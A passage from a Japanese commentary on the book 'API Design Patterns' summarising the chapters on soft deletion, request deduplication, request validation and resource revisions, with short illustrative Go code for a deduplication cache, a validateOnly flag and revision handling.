パラメータを使用して、ソフト削除されたリソースを含めるかどうかを制御しています。ソフト削除の影響とトレードオフ著者は、ソフト削除の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。データストレージの増加: ソフト削除されたリソースはデータベースに残り続けるため、ストレージの使用量が増加します。これは、大規模なシステムでは無視できない問題となる可能性があります。パフォーマンスへの影響: ソフト削除されたリソースを除外するための追加的なフィルタリングが必要となるため、特にリスト操作のパフォーマンスに影響を与える可能性があります。複雑性の増加: ソフト削除を導入することで、APIの複雑性が増加します。これは、開発者の学習曲線を急にし、バグの可能性を増やす可能性があります。データの整合性: ソフト削除されたリソースへの参照をどのように扱うかという問題があります。これは、特に複雑な関係性を持つリソース間で重要な課題となります。セキュリティとプライバシー: ソフト削除されたデータが予想以上に長く保持される可能性があり、これはデータ保護規制(例:GDPR)との関連で課題となる可能性があります。これらのトレードオフを適切に管理することが、ソフト削除の成功的な実装の鍵となります。例えば、ストレージとパフォーマンスの問題に対しては、定期的なクリーンアップジョブを実装し、長期間ソフト削除状態にあるリソースを自動的に完全削除することが考えられます。また、データの整合性の問題に対しては、関連リソースの削除ポリシーを慎重に設計し、カスケード削除やリファレンスの無効化などの戦略を適切に選択する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: ソフト削除は、マイクロサービス間のデータ整合性を維持する上で重要な役割を果たします。例えば、あるサービスでソフト削除されたリソースが、他のサービスではまだ参照されている可能性があります。このような場合、ソフト削除により、サービス間の整合性を保ちつつ、必要に応じてデータを復元することが可能になります。イベント駆動アーキテクチャとの連携: ソフト削除、アンデリート、完全削除などの操作をイベントとして発行することで、関連するシステムコンポーネントが適切に反応し、全体的な一貫性を維持することができます。データガバナンスとコンプライアンス: ソフト削除は、データ保持ポリシーやデータ保護規制への対応を容易にします。例えば、ユーザーデータの「忘れられる権利」(GDPR)に対応する際、ソフト削除を活用することで、データを即座に利用不可能にしつつ、法的要件に基づいて一定期間保持することが可能になります。監査とトレーサビリティ: ソフト削除を実装することで、リソースのライフサイクル全体を追跡することが容易になります。これは、システムの変更履歴を把握し、問題が発生した場合のトラブルシューティングを容易にします。バックアップと災害復旧: ソフト削除は、誤って削除されたデータの復旧を容易にします。これは、特に重要なビジネスデータを扱うシステムにおいて、データ損失のリスクを大幅に軽減します。パフォーマンス最適化: ソフト削除の実装には、適切なインデックス戦略が不可欠です。例えば、deleted フラグにインデックスを作成することで、非削除リソースの検索パフォーマンスを維持することができます。ストレージ管理: ソフト削除されたリソースの自動的な完全削除(エクスパイア)を実装することで、ストレージ使用量を管理しつつ、一定期間のデータ復元可能性を確保できます。これは、コストとデータ保護のバランスを取る上で重要です。ソフト削除とシステムアーキテクチャソフト削除の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: ソフト削除をサポートするために、全てのリソースに deleted フラグと expireTime フィールドを追加する必要があります。これは、データベーススキーマの設計に影響を与えます。クエリパフォーマンス: ソフト削除されたリソースを除外するために、ほとんどのクエリに追加の条件が必要になります。これは、特に大規模なデータセットでパフォーマンスに影響を与える可能性があります。適切なインデックス戦略が重要になります。バージョニングと互換性: ソフト削除の導入は、APIの大きな変更となる可能性があります。既存のクライアントとの互換性を維持しつつ、この機能をどのように導入するかを慎重に検討する必要があります。キャッシュ戦略: ソフト削除されたリソースのキャッシュ管理は複雑になる可能性があります。キャッシュの無効化戦略を適切に設計する必要があります。イベントソーシングとCQRS: ソフト削除は、イベントソーシングやCQRS(Command Query Responsibility Segregation)パターンと組み合わせることで、より強力になります。削除イベントを記録し、読み取りモデルを適切に更新することで、システムの柔軟性と一貫性を向上させることができます。結論第25章「Soft deletion」は、APIにおけるソフト削除の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、データの保全性、そして全体的なシステムの運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ソフト削除は、データの誤削除からの保護と復元可能性を提供する重要な機能です。標準的なCRUD操作、特に削除とリスト操作を適切に修正する必要があります。アンデリートと完全削除(Expunge)のための新しいカスタムメソッドが必要です。ソフト削除されたリソースの自動的な完全削除(エクスパイア)を管理するメカニズムが重要です。ソフト削除の導入には、ストレージ使用量の増加、パフォーマンスへの影響、複雑性の増加などのトレードオフがあります。これらの原則を適切に適用することで、開発者はより堅牢で柔軟性のあるAPIを設計することができます。特に、データの重要性が高いシステムや、複雑なデータ関係を持つシステムでは、ソフト削除の適切な実装が極めて重要です。しかし、ソフト削除の導入には慎重な検討も必要です。特に、パフォーマンス、ストレージ使用量、データの整合性、セキュリティとプライバシーの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、ソフト削除の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にデータの削除方法を変更するだけでなく、システム全体のデータライフサイクル管理、バックアップと復旧戦略、コンプライアンス対応、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。ソフト削除の適切な実装は、システムの回復力を高め、データ管理の柔軟性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。26 Request deduplication「API Design Patterns」の第26章「Request deduplication」は、APIにおけるリクエストの重複排除の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエストの重複排除が単なる最適化ではなく、APIの信頼性、一貫性、そして全体的なシステムの堅牢性にどのように影響を与えるかを明確に示しています。リクエスト重複排除の必要性と概要著者は、ネットワークの不確実性から議論を始めています。現代のシステム、特にクラウドネイティブな環境やモバイルアプリケーションにおいて、ネットワークの信頼性は常に課題となります。リクエストが失敗した場合、クライアントは通常リトライを行いますが、これが意図しない副作用を引き起こす可能性があります。特に非べき等なメソッド(例えば、リソースの作成や更新)では、同じ操作が複数回実行されることで、データの整合性が損なわれる可能性があります。この問題に対処するため、著者はリクエスト識別子(request identifier)の使用を提案しています。これは、クライアントが生成する一意の識別子で、APIサーバーはこの識別子を使用して重複リクエストを検出し、適切に処理します。この概念は、マイクロサービスアーキテクチャにおいて特に重要です。複数のサービスが協調して動作する環境では、一つのリクエストの失敗が連鎖的な影響を及ぼす可能性があります。リクエストの重複排除を適切に実装することで、システム全体の一貫性と信頼性を向上させることができます。著者は、リクエスト重複排除の基本的な流れを以下のように提案しています。クライアントがリクエスト識別子を含むリクエストを送信する。サーバーは識別子をチェックし、以前に処理されたかどうかを確認する。新しいリクエストの場合は通常通り処理し、結果をキャッシュする。重複リクエストの場合は、キャッシュされた結果を返す。この方法により、ネットワークの不確実性に起因する問題を軽減しつつ、クライアントに一貫した応答を提供することができます。リクエスト重複排除の実装著者は、リクエスト重複排除の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。リクエスト識別子: クライアントが生成する一意の文字列。これは通常、UUIDやその他のランダムな文字列が使用されます。レスポンスのキャッシング: 処理されたリクエストの結果をキャッシュし、同じ識別子で再度リクエストがあった場合に使用します。一貫性の維持: キャッシュされた応答は、その後のデータの変更に関わらず、元のリクエスト時点の状態を反映する必要があります。衝突の管理: リクエスト識別子の衝突(異なるリクエストに同じ識別子が使用される場合)に対処するため、リクエストの内容も併せてチェックする必要があります。キャッシュの有効期限: キャッシュされた応答に適切な有効期限を設定し、メモリ使用量を管理します。これらの原則を適用した、Golangでのリクエスト重複排除の実装例を以下に示します。type RequestWithID struct { ID string `json:\\"requestId\\"` Payload interface{} `json:\\"payload\\"`}type ResponseCache struct { sync.RWMutex cache map[string]cachedResponse}type cachedResponse struct { response interface{} contentHash string expireTime time.Time}func (rc *ResponseCache) Process(req RequestWithID, processor func(interface{}) (interface{}, error)) (interface{}, error) { rc.RLock() cached, exists := rc.cache[req.ID] rc.RUnlock() if exists { contentHash := calculateHash(req.Payload) if contentHash != cached.contentHash { return nil, errors.New(\\"request ID collision detected\\") } return cached.response, nil } response, err := processor(req.Payload) if err != nil { return nil, err } rc.Lock() rc.cache[req.ID] = cachedResponse{ response: response, contentHash: calculateHash(req.Payload), expireTime: time.Now().Add(5 * time.Minute), } rc.Unlock() return response, nil}この実装例では、リクエスト識別子とペイロードを含むRequestWithID構造体を定義し、ResponseCache構造体でキャッシュを管理しています。Processメソッドは、重複チェック、キャッシュの取得または更新、そして実際の処理を行います。また、リクエスト識別子の衝突を検出するため、ペイロードのハッシュも併せて保存しています。リクエスト重複排除の影響とトレードオフ著者は、リクエスト重複排除の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。メモリ使用量: キャッシュの導入により、メモリ使用量が増加します。適切なキャッシュ有効期限の設定が重要です。一貫性と鮮度のバランス: キャッシュされた応答は、最新のデータ状態を反映していない可能性があります。これは、クライアントの期待と一致しない場合があります。複雑性の増加: リクエスト重複排除の実装は、APIの複雑性を増加させます。これは、開発とデバッグの難しさを増す可能性があります。パフォーマンスへの影響: キャッシュのチェックと管理にはオーバーヘッドがありますが、重複リクエストの処理を回避することでパフォーマンスが向上する可能性もあります。分散システムにおける課題: マイクロサービスアーキテクチャなどの分散システムでは、キャッシュの一貫性維持が複雑になります。これらのトレードオフを適切に管理することが、リクエスト重複排除の成功的な実装の鍵となります。例えば、キャッシュのパフォーマンスと一貫性のバランスを取るために、キャッシュ戦略を慎重に設計する必要があります。また、分散キャッシュシステム(例:Redis)の使用を検討し、マイクロサービス間でキャッシュを共有することも有効な戦略です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。耐障害性の向上: リクエスト重複排除は、ネットワークの一時的な障害やクライアントの予期せぬ動作に対するシステムの耐性を高めます。これは特に、金融取引や重要なデータ更新を扱うシステムで重要です。イベント駆動アーキテクチャとの統合: リクエスト重複排除は、イベント駆動アーキテクチャにおいても重要です。例えば、メッセージキューを使用するシステムで、メッセージの重複処理を防ぐために同様の技術を適用できます。グローバルユニーク識別子の生成: クライアント側でのユニークな識別子生成は、分散システムにおける重要な課題です。UUIDv4やULIDなどの効率的で衝突の可能性が低い識別子生成アルゴリズムの使用を検討すべきです。監視とオブザーバビリティ: リクエスト重複排除の効果を測定し、システムの挙動を理解するために、適切な監視とロギングが不可欠です。重複リクエストの頻度、キャッシュヒット率、識別子の衝突回数などの指標を追跡することで、システムの健全性を評価できます。セキュリティの考慮: リクエスト識別子の予測可能性や操作可能性に注意を払う必要があります。悪意のあるユーザーが識別子を推測または再利用することで、システムを悪用する可能性があります。キャッシュ戦略の最適化: キャッシュのパフォーマンスと鮮度のバランスを取るために、階層的キャッシュやキャッシュの事前読み込みなどの高度な技術を検討することができます。バージョニングとの統合: APIのバージョニング戦略とリクエスト重複排除メカニズムを統合する方法を考慮する必要があります。新しいバージョンのAPIで重複排除の実装が変更された場合、古いバージョンとの互換性をどのように維持するかを検討しなければなりません。リクエスト重複排除とシステムアーキテクチャリクエスト重複排除の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。分散キャッシュシステム: マイクロサービスアーキテクチャにおいては、中央集権的なキャッシュシステム(例:Redis)の使用を検討する必要があります。これにより、異なるサービス間でキャッシュ情報を共有し、システム全体の一貫性を維持できます。非同期処理との統合: 長時間実行される操作や非同期処理を含むシステムでは、リクエスト重複排除メカニズムをより慎重に設計する必要があります。例えば、処理の開始時点でキャッシュエントリを作成し、処理の完了時に更新するなどの戦略が考えられます。フォールバック戦略: キャッシュシステムの障害に備えて、適切なフォールバック戦略を実装する必要があります。例えば、キャッシュが利用できない場合は、一時的に重複排除を無効にし、代わりにべき等性を保証する他の方法を使用するなどです。キャッシュの整合性維持: 分散システムにおいては、キャッシュの整合性を維持することが課題となります。イベントソーシングやCQRSなどのパターンを使用して、キャッシュの更新と実際のデータ更新を同期させる方法を検討する必要があります。スケーラビリティの考慮: リクエスト重複排除メカニズムがシステムのスケーラビリティのボトルネックにならないよう注意が必要です。負荷分散されたシステムでは、キャッシュの分散や複製を適切に設計する必要があります。結論第26章「Request deduplication」は、APIにおけるリクエスト重複排除の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの信頼性、一貫性、そして全体的なシステムの堅牢性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト重複排除は、ネットワークの不確実性に起因する問題を軽減し、非べき等な操作の安全性を向上させる重要なメカニズムです。クライアント生成のユニークな識別子と、サーバー側でのレスポンスキャッシングが、この実装の核心となります。キャッシュの一貫性、識別子の衝突管理、適切なキャッシュ有効期限の設定が、実装上の重要な考慮点となります。リクエスト重複排除の導入には、メモリ使用量の増加、複雑性の増加、一貫性と鮮度のバランスなどのトレードオフがあります。分散システムやマイクロサービスアーキテクチャにおいては、キャッシュの一貫性維持と分散が特に重要な課題となります。これらの原則を適切に適用することで、開発者はより信頼性が高く、一貫性のあるAPIを設計することができます。特に、ネットワークの信頼性が低い環境や、重要なデータ更新を扱うシステムでは、リクエスト重複排除の適切な実装が極めて重要です。しかし、リクエスト重複排除の導入には慎重な検討も必要です。特に、パフォーマンス、メモリ使用量、システムの複雑性の増加、セキュリティの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト重複排除の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリクエストの重複を防ぐだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト重複排除の適切な実装は、システムの回復力を高め、データの整合性を保護し、ユーザー体験を向上させる可能性があります。特に、マイクロサービスアーキテクチャやクラウドネイティブな環境では、この機能の重要性がより顕著になります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。さらに、リクエスト重複排除メカニズムは、システムの可観測性と運用性の向上にも貢献します。適切に実装されたリクエスト重複排除システムは、重複リクエストの頻度、パターン、原因に関する貴重な洞察を提供し、システムの挙動やネットワークの信頼性に関する問題を早期に検出することを可能にします。これらの情報は、システムの最適化や問題のトラブルシューティングに非常に有用です。最後に、リクエスト重複排除の実装は、APIの設計哲学と密接に関連しています。這いはクライアントとサーバーの責任分担、エラー処理戦略、リトライポリシーなど、APIの基本的な設計原則に影響を与えます。したがって、リクエスト重複排除メカニズムの導入を検討する際は、APIの全体的な設計哲学との整合性を慎重に評価し、必要に応じて調整を行うことが重要です。このような包括的なアプローチを取ることで、リクエスト重複排除は単なる技術的な解決策を超え、システム全体の品質と信頼性を向上させる重要な要素となります。API設計者とシステムアーキテクトは、この機能の重要性を認識し、適切に実装することで、より堅牢で効率的、そして信頼性の高いシステムを構築することができるでしょう。27 Request validation「API Design Patterns」の第27章「Request validation」は、APIにおけるリクエスト検証の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエスト検証が単なる便利機能ではなく、APIの安全性、信頼性、そして全体的なユーザー体験にどのように影響を与えるかを明確に示しています。リクエスト検証の必要性と概要著者は、APIの複雑さとそれに伴う誤用のリスクから議論を始めています。最も単純に見えるAPIでさえ、その内部動作は複雑であり、ユーザーが意図した通りに動作するかどうかを事前に確認することは困難です。特に、本番環境で未検証のリクエストを実行することのリスクは高く、著者はこれを車の修理に例えています。素人が車をいじることで深刻な問題を引き起こす可能性があるのと同様に、未検証のAPIリクエストは本番システムに予期せぬ影響を与える可能性があります。この問題に対処するため、著者はvalidateOnlyフィールドの導入を提案しています。これは、リクエストを実際に実行せずに検証のみを行うためのフラグです。この機能により、ユーザーは安全にリクエストの結果をプレビューし、潜在的な問題を事前に把握することができます。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが相互に依存し合う複雑なシステムでは、一つの誤ったリクエストが連鎖的に問題を引き起こす可能性があります。リクエスト検証を適切に実装することで、このようなリスクを大幅に軽減し、システム全体の安定性と信頼性を向上させることができます。著者は、リクエスト検証の基本的な流れを以下のように提案しています。クライアントがvalidateOnly: trueフラグを含むリクエストを送信する。サーバーはリクエストを通常通り処理するが、実際のデータ変更や副作用を伴う操作は行わない。サーバーは、実際のリクエストが行われた場合と同様のレスポンスを生成し、返却する。この方法により、ユーザーは安全にリクエストの結果をプレビューし、潜在的な問題(権限不足、データの不整合など)を事前に把握することができます。リクエスト検証の実装著者は、リクエスト検証の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。validateOnlyフラグ: リクエストオブジェクトにオプションのブーリアンフィールドとして追加します。デフォルトはfalseであるべきです。検証の範囲: 可能な限り多くの検証を行うべきです。これには、権限チェック、データの整合性チェック、参照整合性チェックなどが含まれます。外部依存関係の扱い: 外部サービスとの通信が必要な場合、それらのサービスが検証モードをサポートしていない限り、その部分の検証は省略する必要があります。レスポンスの生成: 実際のリクエストと同様のレスポンスを生成すべきです。ただし、サーバー生成の識別子などの一部のフィールドは空白または仮の値で埋める必要があります。安全性とべき等性: 検証リクエストは常に安全(データを変更しない)かつべき等(同じリクエストで常に同じ結果を返す)であるべきです。これらの原則を適用した、Golangでのリクエスト検証の実装例を以下に示します。type CreateChatRoomRequest struct { Resource ChatRoom `json:\\"resource\\"` ValidateOnly bool `json:\\"validateOnly,omitempty\\"`}func (s *Service) CreateChatRoom(ctx context.Context, req CreateChatRoomRequest) (*ChatRoom, error) { if err := s.validateCreateChatRoom(ctx, req); err != nil { return nil, err } if req.ValidateOnly { return &ChatRoom{ ID: \\"placeholder-id\\", Name: req.Resource.Name, // その他のフィールド }, nil } // 実際のリソース作成ロジック return s.actuallyCreateChatRoom(ctx, req.Resource)}func (s *Service) validateCreateChatRoom(ctx context.Context, req CreateChatRoomRequest) error { // 権限チェック if err := s.checkPermissions(ctx, \\"create_chat_room\\"); err != nil { return err } // データ検証 if err := validateChatRoomData(req.Resource); err != nil { return err } // 外部依存関係のチェック(可能な場合) // ... return nil}この実装例では、validateOnlyフラグに基づいて実際の処理を行うかどうかを制御しています。検証フェーズは常に実行され、エラーがある場合は早期に返却されます。検証モードの場合、実際のリソース作成は行わず、プレースホルダーのレスポンスを返します。リクエスト検証の影響とトレードオフ著者は、リクエスト検証の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。複雑性の増加: リクエスト検証機能の追加は、APIの複雑性を増加させます。これは、実装とテストの負担を増やす可能性があります。パフォーマンスへの影響: 検証リクエストは、実際の処理を行わないため一般的に高速ですが、大量の検証リクエストがあった場合、システムに負荷をかける可能性があります。外部依存関係の扱い: 外部サービスとの連携が必要な場合、完全な検証が難しくなる可能性があります。これは、システムの一部の動作を正確に予測できなくなることを意味します。不確定な結果の扱い: ランダム性や時間依存の処理を含むリクエストの検証は、実際の結果を正確に予測することが難しい場合があります。これらのトレードオフを適切に管理することが、リクエスト検証の成功的な実装の鍵となります。例えば、外部依存関係の扱いについては、モックやスタブを使用して可能な限り現実的な検証を行うことが考えられます。また、不確定な結果については、可能な結果の範囲を示すなど、ユーザーに適切な情報を提供することが重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。リスク管理とコスト削減: リクエスト検証は、本番環境での不適切なリクエストによるリスクを大幅に軽減します。これは、特に金融系のAPIや重要なデータを扱うシステムで非常に重要です。開発効率の向上: 開発者がAPIの動作を事前に確認できることで、開発サイクルが短縮され、品質が向上します。これは、特に複雑なマイクロサービス環境で重要です。ドキュメンテーションの補完: リクエスト検証は、動的なドキュメンテーションの一形態と見なすこともできます。開発者は、APIの動作を実際に試すことで、ドキュメントだけでは分かりにくい細かな挙動を理解できます。セキュリティの強化: 検証モードを使用することで、潜在的な脆弱性や不適切なアクセス試行を事前に発見できる可能性があります。これは、セキュリティ監査の一部として活用できます。運用の簡素化: 本番環境での問題を事前に回避できることで、インシデント対応の頻度が減少し、運用負荷が軽減されます。段階的なデプロイメント戦略との統合: 新機能のロールアウト時に、検証モードを活用して潜在的な問題を早期に発見することができます。これは、カナリアリリースやブルー/グリーンデプロイメントなどの戦略と組み合わせて効果的です。リクエスト検証とシステムアーキテクチャリクエスト検証の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。マイクロサービスアーキテクチャでの実装: 複数のサービスにまたがるリクエストの検証は、特に注意が必要です。サービス間の依存関係を考慮し、整合性のある検証結果を提供する必要があります。キャッシュ戦略: 検証リクエストの結果をキャッシュすることで、パフォーマンスを向上させることができます。ただし、キャッシュの有効期限や更新戦略を慎重に設計する必要があります。非同期処理との統合: 長時間実行される操作や非同期処理を含むシステムでは、検証モードの動作を慎重に設計する必要があります。例えば、非同期処理の予測される結果をシミュレートする方法を考える必要があります。モニタリングと可観測性: 検証リクエストの使用パターンや頻度を監視することで、APIの使用状況や潜在的な問題をより深く理解できます。これらの指標は、システムの最適化やユーザビリティの向上に活用できます。テスト戦略: リクエスト検証機能自体もテストの対象となります。特に、実際の処理と検証モードの結果の一貫性を確保するためのテスト戦略が重要です。結論第27章「Request validation」は、APIにおけるリクエスト検証の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの安全性、信頼性、そして全体的なユーザー体験を大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト検証は、APIの複雑さに起因するリスクを軽減する重要なメカニズムです。validateOnlyフラグを使用することで、ユーザーは安全にリクエストの結果をプレビューできます。検証リクエストは、可能な限り実際のリクエストと同様の処理を行いますが、データの変更や副作用を伴う操作は避けるべきです。外部依存関係や不確定な結果を含むリクエストの検証には特別な配慮が必要です。リクエスト検証の導入には、複雑性の増加やパフォーマンスへの影響などのトレードオフがありますが、それらを上回る価値を提供する可能性があります。これらの原則を適切に適用することで、開発者はより安全で信頼性の高いAPIを設計することができます。特に、重要なデータを扱うシステムや複雑なマイクロサービスアーキテクチャを採用している環境では、リクエスト検証の適切な実装が極めて重要です。しかし、リクエスト検証の導入には慎重な検討も必要です。特に、パフォーマンス、複雑性の管理、外部依存関係の扱いなどの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト検証の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリクエストの安全性を向上させるだけでなく、システム全体の信頼性、運用効率、そして開発生産性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト検証の適切な実装は、システムの回復力を高め、開発サイクルを短縮し、ユーザー体験を向上させる可能性があります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で使いやすいシステムを構築することができるでしょう。特に、急速に変化するビジネス要件や複雑な技術スタックを持つ現代のソフトウェア開発環境において、リクエスト検証は重要な役割を果たす可能性があります。最後に、リクエスト検証は単なる技術的な機能ではなく、APIの設計哲学を反映するものでもあります。これは、ユーザーフレンドリーなインターフェース、透明性、そして予測可能性への commitment を示しています。適切に実装されたリクエスト検証機能は、API提供者とその消費者の間の信頼関係を強化し、より効果的なコラボレーションを促進します。この機能は、「フェイルファスト」の原則とも整合しており、問題を早期に発見し、修正するための強力なツールとなります。開発者は、本番環境に変更をデプロイする前に、その影響を安全に評価することができます。これにより、イテレーションのサイクルが短縮され、イノベーションのペースが加速する可能性があります。また、リクエスト検証は、APIのバージョニングや進化の戦略とも密接に関連しています。新しいバージョンのAPIをリリースする際、開発者は検証モードを使用して、既存のクライアントへの影響を事前に評価することができます。これにより、破壊的な変更のリスクを最小限に抑えつつ、APIを継続的に改善することが可能になります。さらに、この機能は、APIの教育的側面も持っています。開発者は、検証モードを通じてAPIの動作を実験的に学ぶことができ、これがドキュメントを補完する動的な学習ツールとなります。これは、API の採用を促進し、正しい使用法を奨励することにつながります。最終的に、リクエスト検証の実装は、API設計者がユーザーの視点に立ち、その経験を常に考慮していることを示す象徴的な機能と言えるでしょう。これは、単に機能を提供するだけでなく、ユーザーの成功を積極的に支援するという、より広範なAPI設計哲学の一部となります。このような包括的なアプローチを取ることで、リクエスト検証は単なる技術的機能を超え、APIの品質、信頼性、そして全体的な価値を大きく向上させる重要な要素となります。API設計者とシステムアーキテクトは、この機能の重要性を認識し、適切に実装することで、より使いやすく、信頼性が高く、そして継続的な進化が可能なAPIを構築することができるでしょう。これは、急速に変化し、常に新しい課題が生まれる現代のソフトウェア開発環境において、特に重要な価値となります。28 Resource revisions「API Design Patterns」の第28章「Resource revisions」は、APIにおけるリソースのリビジョン管理の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリソースリビジョンが単なる機能の追加ではなく、APIの柔軟性、データの整合性、そして全体的なシステムの運用性にどのように影響を与えるかを明確に示しています。この章では、リソースの変更履歴を安全に保存し、過去の状態を取得または復元する方法について説明しています。具体的には、個々のリビジョンの識別方法、リビジョンの作成戦略(暗黙的または明示的)、利用可能なリビジョンのリスト化と特定のリビジョンの取得方法、以前のリビジョンへの復元の仕組み、そしてリビジョン可能なリソースの子リソースの扱い方について詳しく解説しています。リソースリビジョンの必要性と概要著者は、リソースリビジョンの必要性から議論を始めています。多くのAPIでは、リソースの現在の状態のみを保持し、過去の変更履歴を無視しています。しかし、契約書、購買注文書、法的文書、広告キャンペーンなどのリソースでは、変更履歴を追跡する必要性が高くなります。これにより、問題が発生した際に、どの変更が原因であるかを特定しやすくなります。リソースリビジョンの概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが協調して動作する環境では、各サービスが管理するリソースの変更履歴を適切に追跡し、必要に応じて過去の状態を参照または復元できることが、システム全体の一貫性と信頼性を確保する上で重要になります。著者は、リソースリビジョンの基本的な構造として、既存のリソースに2つの新しいフィールドを追加することを提案しています。revisionId: リビジョンの一意の識別子revisionCreateTime: リビジョンが作成された時刻これらのフィールドを追加することで、リソースの複数のスナップショットを時系列で管理できるようになります。これにより、リソースの変更履歴を追跡し、必要に応じて過去の状態を参照または復元することが可能になります。この概念を視覚的に表現するために、著者は以下のような図を提示しています。Figure 28.1 Adding support for revisions to a Message resourceこの図は、通常のMessageリソースにrevisionIdとrevisionCreateTimeフィールドを追加することで、リビジョン管理をサポートする方法を示しています。リソースリビジョンの実装著者は、リソースリビジョンの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。リビジョン識別子: リビジョンの一意性を確保するために、ランダムな識別子(例:UUID)を使用することを推奨しています。これにより、リビジョンの順序や時間に依存せずに、各リビジョンを一意に識別できます。リビジョンの作成戦略: 著者は、暗黙的なリビジョン作成(リソースが変更されるたびに自動的に新しいリビジョンを作成)と明示的なリビジョン作成(ユーザーが明示的にリビジョンの作成を要求)の2つの戦略を提案しています。各アプローチにはそれぞれ長所と短所があり、システムの要件に応じて選択する必要があります。リビジョンの取得と一覧表示: 特定のリビジョンを取得するためのメソッドと、利用可能なリビジョンを一覧表示するためのメソッドの実装について説明しています。これらのメソッドにより、ユーザーはリソースの変更履歴を参照し、必要に応じて特定の時点の状態を取得できます。リビジョンの復元: 以前のリビジョンの状態にリソースを戻すための復元操作の実装方法を解説しています。この操作は、誤った変更を元に戻したり、特定の時点の状態に戻したりする際に重要です。子リソースの扱い: リビジョン可能なリソースが子リソースを持つ場合の取り扱いについても議論しています。子リソースをリビジョンに含めるかどうかは、システムの要件やパフォーマンスの考慮事項に応じて決定する必要があります。これらの原則を適用した、Golangでのリソースリビジョンの実装例を以下に示します。type Resource struct { ID string `json:\\"id\\"` Content string `json:\\"content\\"` RevisionID string `json:\\"revisionId\\"` RevisionCreateTime time.Time `json:\\"revisionCreateTime\\"`}type ResourceService interface { GetResource(ctx context.Context, id string, revisionID string) (*Resource, error) ListResourceRevisions(ctx context.Context, id string) ([]*Resource, error) CreateResourceRevision(ctx context.Context, id string) (*Resource, error) RestoreResourceRevision(ctx context.Context, id string, revisionID string) (*Resource, error)}func (s *resourceService) CreateResourceRevision(ctx context.Context, id string) (*Resource, error) { resource, err := s.getLatestResource(ctx, id) if err != nil { return nil, err } newRevision := &Resource{ ID: resource.ID, Content: resource.Content, RevisionID: generateUUID(), RevisionCreateTime: time.Now(), } if err := s.saveRevision(ctx, newRevision); err != nil { return nil, err } return newRevision, nil}この実装例では、Resource構造体にリビジョン関連のフィールドを追加し、ResourceServiceインターフェースでリビジョン管理に関連するメソッドを定義しています。CreateResourceRevisionメソッドは、新しいリビジョンを作成し、保存する処理を示しています。リソースリビジョンの影響とトレードオフ著者は、リソースリビジョンの導入がシステム全体に与える影響とトレードオフについても詳細に論じています。ストレージ使用量の増加: リビジョンを保存することで、ストレージの使用量が大幅に増加します。特に、頻繁に変更されるリソースや大規模なリソースの場合、この影響は無視できません。パフォーマンスへの影響: リビジョンの作成や取得には追加のオーバーヘッドが発生します。特に、大量のリビジョンが存在する場合、リビジョンの一覧表示や特定のリビジョンの取得に時間がかかる可能性があります。複雑性の増加: リビジョン管理機能の追加により、APIの複雑性が増加します。これは、開発者の学習曲線を急にし、バグの可能性を増やす可能性があります。一貫性の課題: 特に分散システムにおいて、リビジョンの一貫性を維持することは難しい場合があります。例えば、複数のサービスにまたがるリソースの場合、全体的な一貫性を確保するのが困難になる可能性があります。リビジョン管理のオーバーヘッド: リビジョンの保持期間、古いリビジョンの削除ポリシー、リビジョン数の制限など、追加的な管理タスクが発生します。これらのトレードオフを適切に管理することが、リソースリビジョンの成功的な実装の鍵となります。例えば、ストレージ使用量の増加に対しては、圧縮技術の使用や、重要でないリビジョンの定期的な削除などの戦略が考えられます。パフォーマンスへの影響に関しては、効率的なインデックス設計や、必要に応じてキャッシュを活用することで軽減できる可能性があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。監査とコンプライアンス: 